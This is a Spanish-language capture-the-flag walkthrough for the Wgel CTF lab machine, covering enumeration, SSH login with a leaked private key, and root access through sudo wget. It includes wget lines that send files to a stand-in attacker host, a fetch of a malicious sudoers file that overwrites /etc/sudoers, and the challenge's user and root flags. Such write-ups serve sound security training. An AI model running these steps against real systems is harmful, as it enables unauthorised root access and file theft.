Wgel CTF
Fase 1 — Enumeración
Fase 1.1 — Nmap Port Scan
Comando ejecutado:
nmap -sC -sV -oN wgel_ctf.nmap <TARGET_IP>
Puertos descubiertos:
| Puerto | Servicio | Versión |
|---|---|---|
| 22/tcp | SSH | OpenSSH 7.2p2 Ubuntu |
| 80/tcp | HTTP | Apache 2.4.18 Ubuntu |
Hallazgos:
- Título HTTP: Apache2 Ubuntu Default Page
- Solo 2 puertos → superficie de ataque reducida

Fase 1.2 — Enumeración Web
Comando 1 — Gobuster puerto 80:
# [MÁQUINA ATACANTE]
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50
Directorios descubiertos:
/sitemap→ Status 301

Comando 2 — Revisión del código fuente de la página principal:
http://<TARGET_IP>
Accedemos a la página principal y revisamos el código fuente con clic derecho → Ver código fuente.
Hallazgos:
- Comentario oculto:
<!--Jessie don't forget to udate the webiste--> - Usuario identificado:
jessie

Comando 3 — Gobuster en /sitemap:
# [MÁQUINA ATACANTE]
gobuster dir -u http://<TARGET_IP>/sitemap -w /usr/share/wordlists/dirb/common.txt -t 50
Directorios descubiertos:
.ssh→ Status 301 — Directorio SSH encontrado

Comando 4 — Acceso al directorio .ssh:
http://<TARGET_IP>/sitemap/.ssh/
Hallazgos:
id_rsa→ Clave privada RSA de jessie expuesta públicamente


Fase 2 — Foothold
Fase 2.1 — Acceso SSH como jessie
Comando ejecutado:
# [MÁQUINA ATACANTE]
wget http://<TARGET_IP>/sitemap/.ssh/id_rsa
chmod 600 id_rsa
ssh -i id_rsa jessie@<TARGET_IP>
Hallazgos:
- Acceso exitoso como
jessiesin contraseña usando la clave privada RSA

Fase 2.2 — User Flag
Comando ejecutado:
# [MÁQUINA OBJETIVO]
find / -name "user_flag.txt" 2>/dev/null
cat /home/jessie/Documents/user_flag.txt
User Flag:
057c67131c3d5e42dd5cd3075b198ff6

Fase 3 — Escalada de Privilegios
Fase 3.1 — Identificación del vector PrivEsc (GTFOBins)
Consultamos GTFOBins tras identificar con sudo -l que jessie puede ejecutar /usr/bin/wget como root sin contraseña.
GTFOBins nos indica dos vectores de explotación con wget:
- Upload (Sudo):
wget --post-file=/ruta/archivo http://atacante→ exfiltrar archivos como root - Download (Sudo):
wget http://atacante/archivo -O /ruta/destino→ sobrescribir archivos como root



Fase 3.2 — Creación de sudoers malicioso
Comando ejecutado:
# [MÁQUINA ATACANTE]
echo "jessie ALL=(ALL) NOPASSWD: ALL" > sudoers
python3 -m http.server 8080

Fase 3.3 — Sobrescritura de /etc/sudoers
Comando ejecutado:
# [MÁQUINA OBJETIVO]
sudo wget http://<ATTACKER_IP>:8080/sudoers -O /etc/sudoers

Fase 3.4 — Root Shell y Root Flag
Comando ejecutado:
# [MÁQUINA OBJETIVO]
sudo su
whoami
cat /root/root_flag.txt
Root Flag:
b1b968b37519ad1daa6408188649263d
